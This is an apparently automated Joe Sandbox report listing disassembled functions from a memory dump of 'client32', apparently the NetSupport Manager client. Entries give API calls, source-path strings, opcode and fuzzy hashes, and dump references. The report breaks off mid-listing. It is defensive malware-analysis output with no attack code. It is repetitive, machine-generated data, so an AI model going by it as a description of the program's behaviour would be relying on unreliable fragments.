API ID: _memmove$ErrorExitLastMessageProcesswsprintf
String ID: ..\ctl32\WCUNPACK.C$n > 128
API String ID: 6605023-1396654219
Opcode ID: 39d3c9d7fc05fd47aebaf31cf4e64413a64e5022646b21ebdd41d3a989af53bd
Instruction ID: df32f2f24868e4b0a831f81203bc5965ced63257c83ed47365b8bb2cf1ea103c
Opcode Fuzzy Hash: 39d3c9d7fc05fd47aebaf31cf4e64413a64e5022646b21ebdd41d3a989af53bd
Instruction Fuzzy Hash: 37112976C0116677C3118E2D9D88E8BFF69EB81A68F248125FC9817741F731A61087E2

Function 110EB400 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57registryCOMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 110EB422

Part of subcall function 11160BD9: _xtoa@16.LIBCMT ref: 11160BF9

RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?,?,00000000,nsdevcon64.exe,11190240,?,?,?,?,?,?,110FCFEA), ref: 110EB447

Strings

nsdevcon64.exe, xrefs: 110EB414
Error %d setting %s to %s, xrefs: 110EB459

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Value__itow_xtoa@16
String ID: Error %d setting %s to %s$nsdevcon64.exe
API String ID: 293635345-4188669160
Opcode ID: 8a4b82b92a86a1b278d0f43154331440ff368002b1b446561c3dd2f6a6996a9c
Instruction ID: cea032128ce82b3eaf0532e478ffcf8d701adba4055b92399446afe6a01fb2d0
Opcode Fuzzy Hash: 8a4b82b92a86a1b278d0f43154331440ff368002b1b446561c3dd2f6a6996a9c
Instruction Fuzzy Hash: 0401C075A01219AFD700CAA99C89FEAF7ECDB49708F108199F905E7240DA72AE0487A1

Function 11153530 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(00000000,00000000,00000000), ref: 11153583
UpdateWindow.USER32(?), ref: 111535AE

Strings

m_hWnd, xrefs: 1115356E, 1115359D
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11153569, 11153598

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InvalidateRectUpdateWindow
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1236202516-2830328467
Opcode ID: d7e7c2f0e3a6a5e44f8d0eeae6eb0b297d9b32f503593d364eb6036cc0b7aeaf
Instruction ID: b7b16df5a43d60f3fda019c1a35b497fb37b7041778627a412a7a8a3ae26887c
Opcode Fuzzy Hash: d7e7c2f0e3a6a5e44f8d0eeae6eb0b297d9b32f503593d364eb6036cc0b7aeaf
Instruction Fuzzy Hash: 6201A4B9B24716ABD2A5D761DC81F8AF364BF8572CF144828F1BB17580EA70F8808795

Function 11015020 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00001009,00000000,00000000), ref: 110A9E1D

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

..\ctl32\liststat.cpp, xrefs: 1101502E
..\ctl32\listview.cpp, xrefs: 110A9DFE
m_hWnd, xrefs: 11015033, 110A9E03

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: ..\ctl32\liststat.cpp$..\ctl32\listview.cpp$m_hWnd
API String ID: 819365019-2727927828
Opcode ID: 9b6d80b7455542f82354b29f9862b6f032892670bc7ed0853ece567b39401bfb
Instruction ID: e80c3d609587989e24333d1fa603ed55b2b214ac37036ff82e40f0e660cda7c6
Opcode Fuzzy Hash: 9b6d80b7455542f82354b29f9862b6f032892670bc7ed0853ece567b39401bfb
Instruction Fuzzy Hash: 6BF0F038B80325AFE321D681EC81FC5B2949B05B05F100828F2462B6D0EAA5B4C0C781

Function 110ED4D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

GetDeviceCaps.GDI32(?,0000000E), ref: 110ED4E2
GetDeviceCaps.GDI32(?,0000000C), ref: 110ED4E9

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

..\CTL32\pcibmp.cpp, xrefs: 110ED500
nColors, xrefs: 110ED505

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CapsDevice$ErrorExitLastMessageProcesswsprintf
String ID: ..\CTL32\pcibmp.cpp$nColors
API String ID: 2713834284-4292231205
Opcode ID: 45dc7aa853aecb5747f13ceb53fd78dc266300ae9ca94bf324f49abcef6dcf0d
Instruction ID: fed9dfb2ea0db9ddf34779af1484dbee49448bc6ee14c4e39e325ca65f6a5934
Opcode Fuzzy Hash: 45dc7aa853aecb5747f13ceb53fd78dc266300ae9ca94bf324f49abcef6dcf0d
Instruction Fuzzy Hash: 2BE04827B4137937E51165AA6C81FCBFB8C9B957A8F010032FB04FB282D5D16D5047D1

Function 1101D100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 1101D12F
ShowWindow.USER32(00000000), ref: 1101D136

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h, xrefs: 1101D111
m_hWnd, xrefs: 1101D116

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitItemLastMessageProcessShowWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h$m_hWnd
API String ID: 1319256379-1986719024
Opcode ID: 5591af17a89e0ca7adab3af439ec82609681faf43d0b1edc9c864f49cd37c925
Instruction ID: 4e2be1340c0eb87c864e4721684ff6510800268e2acfe58ec4bc6308307db221
Opcode Fuzzy Hash: 5591af17a89e0ca7adab3af439ec82609681faf43d0b1edc9c864f49cd37c925
Instruction Fuzzy Hash: 4AE0867A910329BFC310EE61DC89FDBF7ACDB45754F10C429FA2947200D674E94087A1

Function 1101D0B0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 1101D0DB
EnableWindow.USER32(00000000,?), ref: 1101D0E6

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h, xrefs: 1101D0C1
m_hWnd, xrefs: 1101D0C6

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnableErrorExitItemLastMessageProcessWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h$m_hWnd
API String ID: 1136984157-1986719024
Opcode ID: 9b6c0fd9a44062357b394c58c00652d207fdc6b2e6a946a601fd6034372f8a5b
Instruction ID: 2b1270b1ce6598f01739890776adf1a6d9f8641e6ea7dfdd3b9eef3de0244db5
Opcode Fuzzy Hash: 9b6c0fd9a44062357b394c58c00652d207fdc6b2e6a946a601fd6034372f8a5b
Instruction Fuzzy Hash: 45E02636A00329BFD310EAA1DC84F9BF3ACEB44360F00C429FA6583600CA31E84087A1

Function 1108D770 Relevance: 6.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

APIs

Part of subcall function 1106D060: EnterCriticalSection.KERNEL32(?,DC70C1FE,?,?,?), ref: 1106D0E2
Part of subcall function 1106D060: SetEvent.KERNEL32(?,?,00000000,1106AF10,?,?,?,?,?), ref: 1106D1C2

CloseHandle.KERNEL32(00000000,00000001,000000C2,?,00000001,000000C1,?,00000001,000000C0,?,00000001,00000093,?,00000001,00000091,?), ref: 1108D8FA
_free.LIBCMT ref: 1108D91B
CloseHandle.KERNEL32(?), ref: 1108D956
FreeLibrary.KERNEL32(?), ref: 1108D976

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$CriticalEnterEventFreeLibrarySection_free
String ID:
API String ID: 3241181375-0
Opcode ID: 4f6a1e918902b8adaa55ed995ad9aaf8e327a7bf1ad0e4c6b1b29103c1cdf2e9
Instruction ID: 62512875f02bf1513ee3f79acd051cde12c0f650fe06ea8ae4cf26c666d6d1d3
Opcode Fuzzy Hash: 4f6a1e918902b8adaa55ed995ad9aaf8e327a7bf1ad0e4c6b1b29103c1cdf2e9
Instruction Fuzzy Hash: 9D51E1B8BC434A36F52596214CD6FBE614E8B84BCCF044414F7956F2C2CED6BD929325

Function 110351A0 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

std::exception::exception.LIBCMT ref: 11035277
__CxxThrowException@8.LIBCMT ref: 1103528C
std::exception::exception.LIBCMT ref: 1103529B
__CxxThrowException@8.LIBCMT ref: 110352B0

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$_memsetwsprintf
String ID:
API String ID: 959338265-0
Opcode ID: 58b7df8abda35fa66d394f383b262c333d8c95bf7682913761b522499381d223
Instruction ID: 4202d9b2a3b9504ee52c3147c78dbba3f188beb93750ea11af99058fe090304e
Opcode Fuzzy Hash: 58b7df8abda35fa66d394f383b262c333d8c95bf7682913761b522499381d223
Instruction Fuzzy Hash: 14411BB5D00619AFCB10CF8AD880AAEFBF8FFA8604F10855FE555A7250E7716604CF91

Function 11175085 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 111750B9
__isleadbyte_l.LIBCMT ref: 111750EC
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,50036AD0,00BFBBEF,00000000,?,?,?,11175CE8,00000109,00BFBBEF,00000003), ref: 1117511D
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,00000001,00BFBBEF,00000000,?,?,?,11175CE8,00000109,00BFBBEF,00000003), ref: 1117518B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 045b0a910df906f647033cf6f86075e5ea6c3d6d2e1d9b3d8c151f3dfdd204cc
Instruction ID: 460b63ceb136a055cb04312f44383bb8d9651ef64d988a6b12a47e6aec4ca511
Opcode Fuzzy Hash: 045b0a910df906f647033cf6f86075e5ea6c3d6d2e1d9b3d8c151f3dfdd204cc
Instruction Fuzzy Hash: 59310431A042C6EFDB42DF64CD80AAEBFB5FF01315F168569E4658B291E731DA80CB91

Function 110A72F0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 110A7319
CreateRectRgn.GDI32(?,?,?,?), ref: 110A737B
CombineRgn.GDI32(00000000,00000000,00000000,00000002), ref: 110A7388
DeleteObject.GDI32(00000000), ref: 110A738F

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateRect$CombineDeleteObject
String ID:
API String ID: 1735589438-0
Opcode ID: 45fb47227f938c3ac32ba62ad7cea327fe5f4bc887be3da3503991b144b35159
Instruction ID: 7c55b913b2b2c5e9ceebf247f0e200ebac5932dc0e21f1d57c3ddac5f96fd2c0
Opcode Fuzzy Hash: 45fb47227f938c3ac32ba62ad7cea327fe5f4bc887be3da3503991b144b35159
Instruction Fuzzy Hash: 6F219236A00119ABCB04DBA9D884CBFB7BAEFC9710711C199FA46D3254E6309D42D7E1

Function 110CD2A0 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

